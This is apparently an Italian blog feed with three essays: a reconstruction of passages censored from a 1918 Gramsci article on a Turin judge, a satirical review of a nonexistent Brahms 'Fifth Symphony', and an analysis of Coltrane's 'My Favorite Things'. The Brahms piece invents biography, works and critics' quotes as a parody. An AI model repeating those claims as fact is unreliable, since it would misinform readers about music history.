Benedetto Croce ha scritto: «Chi ha pratica dei tribunali sa che molto spesso un magistrato, presa la decisione e stabilita la sentenza, incarica un suo piú gio [dodici righe e mezzo censurate]. E il giudice giovane ha fatto sfoggio di dottrina; e il giudice giovane — poiché nella prima gíoventú aspirava alla gloria di Talia e dedicava le sue fresche energie intellettuali a scrivere commedie nei vari dialetti di Sardegna e non poté studiare tutti i risultati delle ultime ricerche sulla natura del diritto e delle costituzioni — ha ragionato [una riga censurata] nella sentenza dei fatti di Torino, rovistando nei vecchi cassettoni, rimettendo alla luce tutti gli imparaticci scolastici del primo anno universitario, quando ancora si frequentano le lezioni e si prendono gli appunti.
[Venticinque righe censurate].
Gli sono estranee le correnti del pensiero moderno che hanno ringiovanito tutta la dottrina dello Stato e del Giure — superando le concezioni puerilmente metafisiche della dottrina tradizionale, degli imparaticci da scoletta universitaria — colla riduzione dello Stato e del Giure a pura attività pratica, svolta come dialettica della volontà di potenza e non piú pietistico richiamo alle leggi naturali, ai sacrari inconoscibili dell'istinto avito, alla banale retorica dei compilatori delle storiette per la scuola elementare. Il «ragionamento» del giudice Pili è solo una filastroccola di banalità retoriche, di gonfiezze presuntuose: esso è il ridicolo parto di un fossile intellettuale, il quale non riesce a concepire che lo Stato italiano almeno giuridicamente (e come giudice questa apparenza della realtà doveva solo importare al «giovane» da tribunale) è costituzionale, ed è parlamentare per tradizione (l'on. Sonnino è gran parte dello Stato attuale, ma crediamo che il suo articolo Torniamo allo Statuto! non sia ancora diventato legge fondamentale del popolo italiano): [cinque righe censurate]. La «dottrina» del giovane da tribunale infatti si consolida (!) in esclamazioni enfatiche contro chi ha «resistito» o è accusato di aver resistito: non cerca (come era suo compito) di dimostrare, alla stregua delle prove concrete e sicure, un delitto per passare l'esatta commisurazione alla sua entità di una pena contemplata nel codice. No, il «giovane» vuole sfoggiare, come una contadina ricca del Campidano di Cagliari le vesti multicolori che hanno servito alle sue antenate per le nozze e per decine e decine di anni sono rimaste seppellite in un vecchio cassettone a fregi bestiali e floreali tra lo spigo e una dozzina di limoni: e sfoggia tutti i vecchiumi, tutti gli scolaticci dei vespasiani giuridici chiusi per misura d'igiene pubblica.
Il giudice Emanuele Pili ha scritto una commedia dialettale: Bellu schesc' e dottori! (che bel pezzo di... dottore!) L'esclamazione potrebbe essere la conclusione critica della lettura di una sentenza, cosí com'è il titolo di una commedia.

La prima lacuna è stata integrata facilmente dai curatori del testo gramsciano. Si tratta di una citazione dalla Logica di Croce, riportata come segue:

«Chi ha pratica dei tribunali sa che molto spesso un magistrato, presa la decisione e stabilita la sentenza, incarica un suo piú giovane collega di "ragionarla", ossia di apporre una parvenza di ragionamento a ciò che non è intrinsecamente e puramente prodotto di logica, ma è voluntas di un determinato provvedimento. Questo procedere, se ha il suo uso nella cerchia pratica o giuridica, è affatto escluso da quella della logica e della scienza» (B. CROCE, Logica come scienza del concetto puro, Bari 1917, pp. 87-88).

Quando Gramsci nel suo corsivo parla delle "correnti del pensiero moderno che hanno ringiovanito tutta la dottrina dello Stato e del Giure", si riferisce appunto alla filosofia del diritto di Benedetto Croce. Croce aveva infatti affermato l'assoluta separazione tra morale e diritto, e aveva sottoposto il diritto alle categorie dell'utile e della forza. Nella concezione di Croce, il diritto è forza, che viene applicata per il raggiungimento di uno scopo ritenuto (da chi agisce questa forza) utile; il diritto è inoltre amorale, in quanto prescinde dal giusto e dall'ingiusto.

E' interessante notare che qui Gramsci si serve della teoria del diritto di Croce per porre un'istanza di garantismo giuridico. Infatti, ciò che Gramsci rimprovera al giudice Pili, estensore della sentenza sui fatti di Torino, è di aver confuso il diritto con la morale. Il giudice avrebbe dovuto limitarsi a vagliare le prove, accertare se fosse stato commesso un reato, e, in caso affermativo, determinarne la pena secondo le norme del codice. Invece, questa sentenza (scrive Gramsci) pretende di condannare gli imputati non sulla base della legge, bensì sulla scorta di considerazioni di ordine moralistico, la cui infondatezza giuridica è mascherata dal ricorso all'enfasi e alla retorica.

La linea del ragionamento gramsciano è abbastanza riconoscibile, nonostante i buchi lasciati dalla censura, e nonostante un probabile refuso tipografico [3]. Comunque, in un poscritto all'articolo del giorno successivo (Le vie della divina provvidenza, 21 ottobre 1918), Gramsci scrive:

P.S. Nell'articolo pubblicato ieri sul giudice Emanuele Pili la censura ha lasciato solo la parte «floreale» che può far supporre aver noi scritto un puro pamphlet per insolentire un magistrato. La censura ha imbiancato le giustificazioni delle insolenze: la giustificazione filosofica trovata nella Logica del senatore Benedetto Croce; la giustificazione storica trovata in una notizia pubblicata dal «Journal des Débats» l'8 novembre 1817 (milleottocentodiciassette!), la giustificazione costituzionale trovata nello Statuto albertino. Un'insolenza giustificata da «pezze» di tal genere crediamo non sia piú insolenza, ma espressione plastica della imparziale giustizia. La censura pertanto ci ha solo diffamati, senza che le leggi ci diano il modo di dar querela.

La "giustificazione filosofica" delle critiche che Gramsci rivolge al magistrato corrisponde, lo abbiamo visto, ad una citazione da Croce. Rimane la curiosità di sapere quali potessero essere le altre due "giustificazioni"  imbiancate dalla censura.

La "giustificazione costituzionale", che corrisponde alla lacuna di cinque righe, si trova, dice Gramsci, nello Statuto albertino; e potrebbe forse trattarsi di uno degli articoli che, in quel testo costituzionale, tutelavano i diritti civili: per esempio l'art. 26, secondo comma, "niuno può essere arrestato e tradotto in giudizio, se non nei casi previsti dalla legge, e nelle forme che essa prescrive".

Naturalmente, non è da pensare che Gramsci si facesse particolari illusioni circa l'effettività delle garanzie prescritte dallo Statuto. Sappiamo, invece, che Gramsci sempre ritenne la borghesia italiana incapace di creare un vero Stato di diritto che tutelasse le libertà individuali [4]. Un articolo di Gramsci di qualche anno successivo a quello che stiamo ora esaminando (Lo Stato italiano, in "L'Ordine Nuovo", 7 febbraio 1920) contiene una puntuale critica, da questo punto di vista, allo Statuto albertino:

Lo Stato italiano [...] non ha mai neppure tentato di mascherare la dittatura spietata della classe proprietaria. Si può dire che lo Statuto albertino sia servito a un solo fine preciso: a legare fortemente le sorti della Corona alle sorti della proprietà privata. I soli freni infatti che funzionano nella macchina statale per limitare gli arbitrî del governo dei ministri del re sono quelli che interessano la proprietà privata del capitale. La Costituzione non ha creato nessun istituto che presidî almeno formalmente le grandi libertà dei cittadini: la libertà individuale, la libertà di parola e di stampa, la libertà di associazione e di riunione. Negli Stati capitalistici, che si chiamano liberali democratici, l'istituto massimo di presidio delle libertà popolari è il potere giudiziario: nello Stato italiano la giustizia non è un potere, è un ordine, è uno strumento della Corona e della classe proprietaria. 

Gramsci sottintendeva questo tipo di considerazioni anche all'articolo qui in commento, laddove scriveva che lo Stato italiano "almeno giuridicamente" (cioè solo formalmente) era costituzionale, ed era "parlamentare per tradizione", nel senso che lo Statuto albertino non istituiva una vera e propria democrazia parlamentare, bensì l'ordinamento parlamentare dello Stato derivava da una semplice consuetudine che poteva essere in ogni momento abrogata: così come aveva proposto di fare Sidney Sonnino nel suo articolo del 1897, appropriatamente richiamato da Gramsci, Torniamo allo Statuto!,  e come poi farà il fascismo.

Tuttavia, il fatto che la monarchia sabauda fosse uno Stato di diritto carente e imperfetto non avrebbe dovuto esimere il magistrato dall'applicare comunque quelle garanzie (pur se insufficienti) che la legge disponeva a favore degli imputati: "come giudice questa apparenza della realtà doveva solo importare" al giudice Pili, osserva giustamente Gramsci.

La "giustificazione storica", che corrisponde alla lacuna di venticinque righe, è data (scrive Gramsci) da una notizia pubblicata sul numero dell'8 novembre 1817 del "Journal des Débats". Internet consente oggi di consultare facilmente quel numero di giornale per cercare quale potesse essere la notizia che costituiva la "giustificazione storica" invocata da Gramsci.

Una delle notizie ivi contenute, che possono essere state utilizzate da Gramsci ai fini del suo commento, è una corrispondenza dalla Gran Bretagna datata 3 novembre, che riporto qui di seguito in una mia traduzione (il testo originale è in nota):

Quattro individui di nome Booth, Brown, Jackson e King, prima delle ultime assisi di Derby, erano stati condannati a morte per crimine di ribellione. Condotti sul patibolo, al momento stesso della morte hanno avuto l'audacia empia di arringare la folla, affinché li venisse a liberare. Questa folla era composta da loro vecchi amici che li avevano frequentemente visitati in carcere; ma il luogo dell'esecuzione era sorvegliato da folti distaccamenti di cavalleria e di fanteria, e la legge ha avuto esecuzione [5].

Inizialmente ho pensato che questa notizia potesse aver attratto l'attenzione di Gramsci (per analogia con i fatti di Torino) perché riferita a un episodio di ribellione delle classi subalterne conclusosi con una condanna penale. Episodio che forse è leggibile nel quadro della fase di irrequietezza sociale che fu caratterizzata, in Gran Bretagna, dalle proteste contro la legge sul grano del 1815, fase che sfociò nel massacro di Peterloo.

Tuttavia, non ho trovato alcun elemento che potesse suffragare questa ipotesi. Non è chiaro neanche se i quattro uomini giustiziati a Derby nel 1817 siano stati effettivamente condannati a morte per reati politici, o non piuttosto per reati comuni; in un elenco dei giustiziati nel carcere di Derby, compilato da Celia Renshaw, una storica locale, questi Booth, Brown, Jackson e King risultano essere stati condannati per aver appiccato il fuoco a dei covoni di paglia [6]. Inoltre è noto che Gramsci non amava gli atteggiamenti tribunizi e teatrali, né apprezzava particolarmente i gesti individuali di ribellione: lo si evince dal suo stesso comportamento di imputato durante il "processone" del 1928 [7], nonché dal suo commento, contenuto nei Quaderni del carcere, ad un libro che raccoglieva i resoconti di una serie di processi contro anarchici libertari [8]. Perciò mi sembra improbabile che, nel suo corsivo del 1918 che stiamo ora commentando, Gramsci possa aver preso ad esempio il comportamento di quattro condannati a morte per reati contro il patrimonio che, dal patibolo, incitano la folla alla rivolta.

C'è però un'altra notiziola, sempre nella prima pagina  del "Journal des Débats" dell'8 novembre 1817, che potrebbe aver attirato l'attenzione di Gramsci. Si tratta di una corrispondenza da Losanna datata primo novembre:

Il Cantone Esterno di Appenzell ha da poco emesso una singolare sentenza contro un ragazzino accusato di alcuni piccoli furti. Lo hanno condannato a 50 fl. di ammenda e a trenta colpi di verga. Gli sarà inoltre assegnato un posto particolare in chiesa per un periodo di due anni: dovrà trovarsi colà per due volte ogni domenica, e sarà punito severamente in caso d'inosservanza [9].

In questa notizia di cronaca (un ragazzino condannato con sentenza penale ad andare a messa due volte la settimana) troviamo un esempio estremo e grottesco di quella perniciosa, pre-moderna confusione tra diritto e morale, che Gramsci stigmatizza nella sua polemica col giudice relatore della sentenza sui fatti di Torino. Perciò ritengo che sia stata questa la pezza giustificativa di quella parte dell'argomentazione gramsciana, che la censura ha cancellato lasciando nell'articolo un buco di venticinque righe.

Note

[1] Sempre secondo l'apparato critico dell'edizione citata, la sentenza fu emessa dal Tribunale militare di Torino il 2 agosto 1918; il testo della sentenza è reperibile in "Rivista storica del socialismo", n. 2, 1960.

[2] A. Gramsci, Sotto la Mole, ed. cit., pp. 447-48. L'articolo è stato poi raccolto nella più recente edizione degli scritti gramsciani precarcerari: A. Gramsci, Il nostro Marx 1918-1919, a cura di Sergio Caprioglio, Einaudi, Torino 1984, pp. 360-2. In Internet si trova qui: http://www.liberliber.it/mediateca/libri/g/gramsci/sotto_la_mole/pdf/sotto__p.pdf, p. 269.

[3] "Passare l'esatta commisurazione alla sua entità di una pena contemplata nel codice" è frase di cui si capisce il senso, ma che sembra guasta anche grammaticalmente. Penso che Gramsci abbia invece scritto "fissare l'esatta commisurazione della sua entità ad una pena contemplata nel codice".

[4] Cfr. Leonardo Rapone, Cinque anni che paiono secoli. Antonio Gramsci dal socialismo al comunismo (1914-1919), Carocci, Roma 2011, pp. 162-6.

[5] Quatre individus nommés Booth, Brown, Jackson et King, antérieurement aux dernières assises de Derby, avoient été condamnés à mort pour crime de rebellion. Amenés sur l'échafaud, ils ont eu, même au moment de la mort, l'audace impie de haranguer la multitude, et de l'engager à venir les délivrer. Cette multitude étoit composée de leurs anciens amis qui les avoient fréquemment visités dans leur prison; mais le lieu de l'exécution étoit gardé par de forts détachements de cavalerie et d'infanterie, et la loi reçut son exécution.

[6] Fonte: http://archiver.rootsweb.ancestry.com/th/read/DERBYSGEN/2009-08/1250276359

[7] Cfr. Giuseppe Fiori (a cura di), Antonio Gramsci: cronaca di un verdetto annunciato, I Libri de "l'Unità", supplemento al numero del 4 aprile, Roma 1994. 

[8] Antonio Gramsci, Quaderni del carcere, edizione critica a cura di Valentino Gerratana, Einaudi, Torino 1975, pp. 6-7 e 1896-7.

[9] Les Rhodes extérieurs d'Appenzell viennent de rendre une singulière sentence contre un enfant accusé de quelques petits vols. Ils l'ont condamné à 50 fl. d'amende et à trente coups de bâtons. Il lui sera d'ailleurs assigné une place particulière à l'église pendant deux ans; il devra s'y trouver deux fois chaque dimanche sous des peines séveres.

          La Quinta sinfonia di Brahms        
Vogliamo oggi parlare della meno eseguita fra le sinfonie di Brahms: la Sinfonia n. 5 in do maggiore, op. 123.

Questa sinfonia è il "canto del cigno" del grande musicista, che la terminò nel 1898, pochi mesi prima del suo definitivo crollo psichico.

Brahms visse ancora una decina d'anni chiuso nel manicomio di Amburgo, dove, secondo le relazioni cliniche e le testimonianze del personale ospedaliero, condusse una vita vegetativa, completamente immemore, punteggiata da intervalli di coscienza (ma non di lucidità), durante i quali il povero Brahms sosteneva di essere una taverniera; in tale sua immaginaria qualità di ostessa di una bettola di infimo ordine, Brahms interloquiva coi medici e gli infermieri, scambiandoli per avventori del suo locale. Lo si poteva allora udire in tutto il manicomio mentre, con voce stridula, urlava frasi del tipo: "Quante birre al tavolo sei?" - Tale scena penosa, su cui i biografi di Brahms hanno mantenuto, fino a tempi recenti, un imbarazzato silenzio, si ripeteva una o due volte la settimana.

Si direbbe che l'incombente follia abbia proiettato la sua oscura ombra anche sulla ricezione di quest'ultima opera brahmsiana, che già al suo apparire lasciò perplessi ascoltatori e critici, innanzitutto per la sua durata stranamente breve: la sinfonia dura circa venti o venticinque minuti, a seconda delle interpretazioni (diciotto minuti nella lettura di Toscanini, ventisette in quella di Klemperer; un'incisione dal vivo di Celibidache, con l'orchestra sinfonica della RAI di Napoli, arriva ai quaranta minuti, ma solo perché il direttore allunga fino all'inverosimile gli intervalli fra un movimento e l'altro). Decisamente poco per il pubblico dell'epoca, abituato al gigantismo formale.

Un altro motivo di stupore derivò poi dalla strumentazione, che comprende, oltre al solito organico orchestrale, anche una fisarmonica, un mandolino e un sassofono. Inoltre nell'ultimo movimento è introdotta una voce di basso.

Il primo movimento, Allegro amabile, in forma sonata, inizia con il primo tema, esposto dai soli archi. E' una melodia languida, per non dire sensuale, costruita sulle note Do - La - La - Mi bemolle - Do- Si. In tedesco, queste note si scrivono C - A- A- Es - C - H; si tratta perciò di un chiaro riferimento al nome di Clara Schumann, la musicista per la quale, com'è noto, Brahms nutrì a lungo una segreta e infelice passione. Dopo un ponte modulante, si passa al secondo tema, che è costituito, abbastanza sorprendentemente, dalla ben nota canzone goliardica italiana detta "delle osterie". Il tema viene ripetuto varie volte, con un crescendo rossiniano inconsueto in Brahms, passando da una sezione all'altra dell'orchestra, in modo sempre più insistente. Lo sviluppo è costituito da una ingegnosa combinazione contrappuntistica fra il primo tema e le ultime battute del secondo tema (quelle che, nel testo della canzone, corrispondono alle parole "Dammela a me, biondina, dammela a me, biondà"). La ripresa è assai regolare, ed è seguita da una coda in cui Brahms cita la melodia di un'altra canzone goliardica, Gaudeamus igitur, già da lui utilizzata nella sua Ouverture accademica, op. 80.

Il secondo movimento, Andante comodo, è in forma tripartita. Qui, dopo le stravaganze del primo tempo, ritroviamo con piacere il consueto Brahms di tanti suoi andanti sinfonici: nobile, compassato, un tantino soporifero. La parte centrale dell'Andante si distingue per il finissimo dialogo strumentale fra il sassofono e il mandolino, su una melodia che presenta sottili analogie strutturali con il tema dell'Andante del Trio op. 17 di Clara Schumann.

Non si discosta dal sostanziale classicismo dell'Andante il Minuetto con trio che costituisce il terzo movimento della sinfonia: anzi, questo Minuetto è così ostentatamente haydniano, così settecentesco in modo quasi iperrealistico, che nell'ascoltatore inizia a farsi strada il dubbio se Brahms stia facendo sul serio, e se, a questo punto, ci stia ancora con la testa.

Ogni dubbio viene meno con l'inizio del famigerato quarto movimento. Dapprima entra la fisarmonica solista, proponendo un Recitativo strumentale di sedici battute che non si sa veramente come definire. Dopodiché il basso, senza alcun accompagnamento strumentale, intona alcuni frammenti di Saffo, ordinati dallo stesso Brahms in una sequenza, di cui si ricorderà quarant'anni dopo il nostro Quasimodo nella sua traduzione dei lirici greci:

Tramontata è la luna
e le Pleiadi a mezzo della notte;
anche giovinezza già dilegua,
e ora nel mio letto resto sola.
Scuote l'anima mia Eros,
come vento sul monte
che irrompe entro le querce;
e scioglie le membra e le agita,
dolce amara indomabile belva.
Ma a me non ape, non miele;
e soffro e desidero.


E' difficile ascoltare questo recitativo senza provare disagio: il basso, infatti, inizia nel proprio registro centrale, ma poi sale gradualmente, terminando su delle note che si trovano talmente oltre il limite della sua estensione, che finora nessun cantante è riuscito ad intonarle se non in falsetto. Ebbene sì: qui al compositore ha decisamente dato di volta il cervello.

A questo punto entra l'orchestra, attaccando l'Allegretto, in forma di rondò, su cui il basso canta un testo, elaborato dallo stesso Brahms, tratto dal Cantico di Re Salomone. La singolare difficoltà di questa parte vocale, caratterizzata da repentini salti di registro, costituisce certamente uno dei motivi per i quali la Sinfonia n. 5 di Brahms viene eseguita così raramente, ma non è l'unico. Soprattutto è sconcertante la disinvoltura con cui Brahms si appropria di intere sequenze tratte dalla Traviata, dalla Carmen, dal Tristano di Wagner e dalla Manon Lescaut di Puccini, senza neppure sottoporle al lavorìo dell'elaborazione tematica e contrappuntistica di cui è maestro. No, qui Brahms prende interi brani di queste opere e li schiaffa pari pari nel suo rondò, che si trasforma così in una sorta di pot-pourri da operetta.

La Sinfonia n. 5 termina con un altro sberleffo musicale, questa volta affidato alla melodia della canzone napoletana "Oi Marì, oi Marì / quanto suonno aggio perso pe' tte!", eseguita all'unisono dall'intera orchestra e dal basso, per chiudere con un accordo violentemente dissonante che usa tutte e dodici le note della scala cromatica, più alcuni quarti di tono.

Mentre, come si è detto, i contemporanei di Brahms non nascosero l'inquietudine e l'imbarazzo di fronte a questa sinfonia, la critica novecentesca appare molto divisa. Il critico Giorgio Lukács, in una delle sue rare incursioni in ambito musicale, definisce la Quinta Sinfonia di Brahms "uno dei documenti più impressionanti della decadenza artistica e morale della borghesia capitalistica nella sua fase imperialista"; giudizio sostanzialmente riecheggiato da Teodoro Adorno, il quale ebbe a parlare, a proposito di questa sinfonia, di "evidente involuzione reazionaria, basata sulla negazione astorica della funzione sociale della relazione armonica, nella misura in cui il contrappunto, materialisticamente e dialetticamente inteso, cede il passo al costrutto timbrico falsamente progressivo, di carattere apoditticamente neoclassico, orientato a destra, prematurato e antani". La sinfonia fu invece molto lodata da Stravinsky e, ai nostri giorni, da Pierre Boulez, che ne ha dato l'interpretazione forse più vibrante.

Significativa, a suo modo, fu la reazione di Glenn Gould, il quale, durante un'intervista radiofonica col fido Bruno Monsaingeon, da questi interrogato su cosa ne pensasse della Quinta sinfonia di Brahms, per tutta risposta cominciò a ridere, dapprima sommessamente e poi in modo sempre più convulso e irrefrenabile, al punto che l'intervista dovette essere interrotta.

Ma è tempo di passare alla conoscenza diretta di questa composizione così controversa. Ecco il link, con l'avvertenza che, su alcuni browser e con sistemi operativi non aggiornati, la pagina potrebbe anche non aprirsi. Comunque, buon ascolto.

(Già pubblicato su Evulon).
          Su "My Favorite Things" di John Coltrane        
Il 16 novembre 1959 debuttava a Broadway The Sound of Music, di Richard Rodgers e Oscar Hammerstein, uno dei musical più popolari di tutti i tempi anche grazie alla versione cinematografica che ne fu tratta nel 1965 (regia di Robert Wise, protagonista Julie Andrews, la versione italiana porta il titolo Tutti insieme appassionatamente).

Una particolare canzone tratta da questo musical ha avuto fortuna immensa. Di My Favorite Things, infatti, si contano centinaia di cover; l'elenco preparato dai redattori di Radio Rai è lungo sedici pagine.

Qui mi occuperò della versione forse più celebre, quella incisa in studio da John Coltrane il 21 ottobre 1960. Per capire quest'ultima, però, è opportuno partire dalla versione originale di Richard Rodgers. In questo articolo mi avvarrò dell'analisi condotta dal massimo studioso di Coltrane, il musicologo Lewis Porter, nella sua fondamentale monografia (Blue Train. La vita e la musica di John Coltrane, traduzione di Adelaide Cioni, Minimum Fax, Roma 2006, pp. 277-80).

La canzone è musicalmente molto semplice. Si tratta di un valzer in mi minore di quattro strofe, A-A-A'-B. Le prime tre strofe hanno la stessa musica, salvo che nella terza strofa, A', dove ci sono otto battute in maggiore. La quarta strofa, B, usa una diversa melodia e finisce in sol maggiore.

Qui di seguito copio il testo della canzone, di Oscar Hammerstein, cui faccio seguire una traduzione, volutamente molto pedestre, che ho preparato grazie all'ausilio del traduttore automatico di Google:



(A) "Raindrops on roses and whiskers on kittens
Bright copper kettles and warm woolen mittens
Brown paper packages tied up with strings
These are a few of my favorite things

(A) Cream colored ponies and crisp apple streudels
Doorbells and sleigh bells and schnitzel with noodles
Wild geese that fly with the moon on their wings
These are a few of my favorite things

(A') Girls in white dresses with blue satin sashes
Snowflakes that stay on my nose and eyelashes
Silver white winters that melt into springs
These are a few of my favorite things

(B) When the dog bites
When the bee stings
When I'm feeling sad
I simply remember my favorite things
And then I don't feel so bad!"

"Gocce di pioggia su rose e baffi di gattini
Bollitori di rame luminosi e caldi guanti di lana
Pacchetti di carta marrone legati con corde
Queste sono alcune delle mie cose preferite

Pony color crema e croccanti struedel di mele
Campanelli e campanelli da slitta e schnitzel con tagliatelle
Le oche selvatiche che volano con la luna sulle ali
Queste sono alcune delle mie cose preferite

Ragazze in abiti bianchi con sciarpe di raso blu
Fiocchi di neve che rimangono sul mio naso e sulle ciglia
Inverni bianchi d'argento che si sciolgono in primavere
Queste sono alcune delle mie cose preferite

Quando il cane morde
Quando l'ape punge
Quando mi sento triste
Non ho che da ricordarmi delle mie cose preferite
E allora non mi sento così male!"

The Sound of Music è ambientato a Salisburgo, fra le due guerre. Richard Rodgers ha naturalmente cercato di tener conto della tradizione musicale austriaca: My Favorite Things, come detto, è un valzer; negli altri brani si sentono riferimenti allo jodler, al laendler, al canto gregoriano, ecc. In un numero c'è anche un singolare omaggio ad Haydn: la canzone So long, farewell è eseguita da un coro di bambini che, uno alla volta, abbandonano il proscenio, finché a cantare rimane una sola bambina, così come, nel finale della Sinfonia degli addii, tutti gli esecutori smettono uno alla volta di suonare facendo concludere la sinfonia da un solo violinista.

Come ci si potrebbe aspettare, il testo di My Favorite Things fa uso di un immaginario prettamente alpino, o comunque nordeuropeo: bollitori per il té, guanti di lana, slitte che corrono sulla neve... Se di questa canzone volessimo realizzare un video-clip animato, seguendo pedissequamente il testo, dovremmo adoperare in prevalenza le tinte chiare, e in particolare il colore bianco, la cui presenza, in corrispondenza della terza strofa (quella con le otto battute in maggiore), diventa quasi ossessiva: abiti bianchi, fiocchi di neve, inverni bianchi... (Nella versione cinematografica quest'aspetto "eurocentrico" della canzone è ancora più sottolineato dal forte accento british di Julie Andrews).

Molti si sono chiesti cosa potesse avere indotto un artista come John Coltrane, che da lì a poco sarebbe diventato un'icona della cultura afro-americana, a musicare una sua versione di questo brano, il quale inizialmente c'entrava così poco con il jazz.

Secondo Lewis Porter, è un errore "dare per scontato che Coltrane trovasse la canzone sciocca e che per questo volesse abbellirla". Al contrario, Coltrane ammirava sinceramente questa canzone e, nella sua versione, la trattò "con rispetto". Il "messaggio" della canzone, "che le cose buone ci aiutano a superare le cattive", è secondo Porter "del tutto sensato e prezioso - per nulla sciocco - è solo che utilizza esempi alla portata di un bambino, perché nel copione la canzone si rivolge a dei bambini".

Qui però l'ottimo Porter ha preso una cantonata. Nel film, è vero, Julie Andrews canta la canzone a dei bambini. Il film, però, è del 1965, quindi è posteriore all'incisione di John Coltrane, che a quell'epoca poteva conoscere solo la versione teatrale di questo musical; e, nella versione teatrale, la protagonista canta My Favorite Things in una delle scene iniziali, che si svolgono in un convento di suore, e non la canta ai bambini, bensì alla Madre Badessa del convento.

Sembra, in realtà, che Coltrane non fosse attratto tanto dal "messaggio" della canzone, quanto invece dalla sua manipolabilità sul piano strettamente musicale. Ecco come si espresse Coltrane in un'intervista: "Questo valzer è fantastico: se lo suoni lento, senti un elemento di gospel che non è per niente sgradevole; se lo suoni veloce, possiede altre innegabili qualità. E' molto interessante scoprire un terreno che si rinnova a seconda dell'impulso che gli dai".

Quindi, si direbbe che il valzer di Rodgers fosse per Coltrane quello che il valzer di Diabelli era stato per il Beethoven dell'op. 120: poco più che un pretesto, un canovaccio utile per imbastire una serie potenzialmente infinita di variazioni che poco o nulla hanno a che fare con il tema originale. E, in verità, Coltrane eseguì in concerto My Favorite Things moltissime volte (secondo Wikipedia, sono state documentate su nastro non meno di 45 esecuzioni), creandone versioni sempre più lontane dalla canzone originale, fino a renderla irriconoscibile.

La versione sull'album si compone di un'introduzione di quattro battute, suonata due volte; viene poi esposto un vamp (breve inciso ritmico, costantemente ripetuto, che è per il jazz quello che nel rock si chiama riff e nella musica barocca si chiama ostinato), cui fanno seguito un primo assolo di Coltrane, un altro assolo di McCoy Tyner al pianoforte, e un assolo finale ancora di Coltrane, per complessivi 14 minuti circa. Nel primo assolo Coltrane esegue le prime due strofe (A) in minore, poi c'è un interludio in maggiore, poi altre due strofe (A) in minore. Gli altri due assoli seguono lo stesso schema, salvo che per la parte finale dell'assolo conclusivo di Coltrane, di cui dirò fra poco.



La prima cosa che si nota all'ascolto è che Coltrane ha spostato molto lontano dall'Europa il baricentro etnico del brano. La ripetizione ossessiva, ipnotica, di un inciso ritmico in tempo dispari; la voce acuta dello strumento a fiato (un sax soprano, fino ad allora poco usato nel jazz); il clima di fissità tonale e il senso del tempo molto dilatato, sono tutti elementi che richiamano la musica orientale. (A me il brano fa venire in mente una danza sufi). Porter nota che Coltrane era appassionato di musica indiana, era un ammiratore di Ravi Shankar, ed era profondamente interessato alla musica folk e modale di tutto il mondo, nonché alle scale pentatoniche (pare che certe volte, nelle sue esercitazioni, eseguisse col sassofono determinate sequenze del Concerto per orchestra di Béla Bartók). Sempre secondo Porter, in My Favorite Things si possono anche scorgere influenze musicali provenienti dall'Africa occidentale.

La cosa per me più sorprendente è che, nella musica originale di questa canzone, Coltrane abbia sentito un "elemento gospel". Per quanto ascolto e riascolto la canzone di Rodgers e Hammerstein, devo confessare che questo elemento gospel non riesco assolutamente a percepirlo. Ma è significativo che, per Coltrane, la canzone avesse qualcosa a che fare con le radici stesse della musica nera americana. Questo forse ci aiuta a far luce su un'altra singolarità della versione di Coltrane.

Abbiamo detto che la versione coltraniana di My Favorite Things è basata sulla strofa A della musica originale. Che fine ha fatto la strofa B, quella il cui testo contiene, secondo Porter, il "messaggio" della canzone e che si conclude in modo maggiore?

Alla fine del suo assolo conclusivo, Coltrane esegue anche la strofa B, senza apportare particolari variazioni alla musica. Però la esegue in mi minore, dandole, secondo Porter, "un effetto più pensoso, riflessivo".

Il testo originale della strofa B fa riferimento ad api che pungono e a cani che mordono, per delineare scherzosamente una situazione da "giornata storta", in cui le cose, chissà perché, non vanno per il verso giusto. Ma questa situazione si supera (dice la canzone) richiamando alla mente le piccole cose belle della vita. Se si fa in questo modo, l'atteggiamento cambia e ci si accorge che non si sta poi così male. La canzone si chiude così, trionfalmente, in sol maggiore.

Qui, però, è meglio fare ricorso alla bella traduzione ritmica di Antonio Amurri (quella utilizzata nella versione italiana del film), che ha colto al meglio il senso di questa strofa:



"Se son triste, infelice, e non so il perché,
io penso alle cose che amo di più
e torna il seren per me!"

Immaginiamo ora di sentire queste parole sovrapposte al mi minore del sax di John Coltrane, nelle battute finali del suo secondo assolo (a partire dal minuto 12'33''). L'effetto è di un'ironia indefinibile, profonda, pungente, tristemente consapevole. Uno speciale tipo di sarcasmo, composto e controllatissimo, ma inequivocabile.

Per me (e sottolineo: per me) in questo minuto e dodici secondi di musica c'è l'essenza stessa del jazz. Ogni volta che l'ascolto, mi commuovo.

Provo a spiegarmi meglio.

Il cantante e chitarrista Huddie W. Leadbetter (1885-1949), uno fra i musicisti più influenti della musica nera americana del secolo ventesimo, tentò una volta di definire a parole quel particolare complesso psicologico che porta il nome di blues. Possiamo leggere le sue parole come una specie di negativo fotografico della canzone di Rodgers e Hammerstein:

"Quando la notte sei sdraiato nel letto, e ti giri da una parte e dall'altra senza riuscire a prendere sonno, non c'è niente da fare. I blues si sono impadroniti di te... Quando ti svegli al mattino, ti siedi sulla sponda del letto, e puoi avere vicino a te padre e madre, sorella e fratello, il tuo ragazzo o la tua ragazza, ma non hai voglia di parlargli... Non ti hanno fatto niente, e tu non hai fatto niente a loro, ma che cosa importa? I blues si sono impadroniti di te".

Così commenta Arrigo Polillo nel suo classico Jazz. La vicenda e i protagonisti della musica afro-americana (Mondadori, Milano 2009, p. 43): "Avere i blues è qualcosa di diverso dall'essere triste dell'uomo bianco. E' essere afflitti da un tedio esistenziale, da una malinconia greve che non lascia spazio alle fantasticherie, vuol dire autocommiserazione, rassegnazione, vuol dire disperazione sorda, grigiore, miseria. E' una poesia fondata sulle cose di tutti i giorni, su personaggi familiari, visti in una luce realistica, con occhio disincantato. Non c'è, né ci vuol essere, nel blues, trasfigurazione lirica, che è un lusso da bianchi; non c'è dramma, perché il dramma è fatto di ombre ma anche di luci. C'è invece la consapevolezza di una tragedia in atto, che non finirà mai. Il blues singer non canta la vita, ma il non morire, parla sempre di ciò che non ha e che non avrà mai".

Ecco il senso del mi minore con cui si conclude My Favorite Things di John Coltrane. Non c'è consolazione, e non c'è neanche protesta. E' la constatazione oggettiva di una situazione fondamentalmente tragica. Il "messaggio" della canzone di Rodgers e Hammerstein è sovvertito. Vista in questa luce, non solo la canzone, ma la stessa cultura (musicale e non solo) cui essa fa riferimento, viene radicalmente messa in questione.
          Sull'"Elogio dei riformisti" di Roberto Saviano        
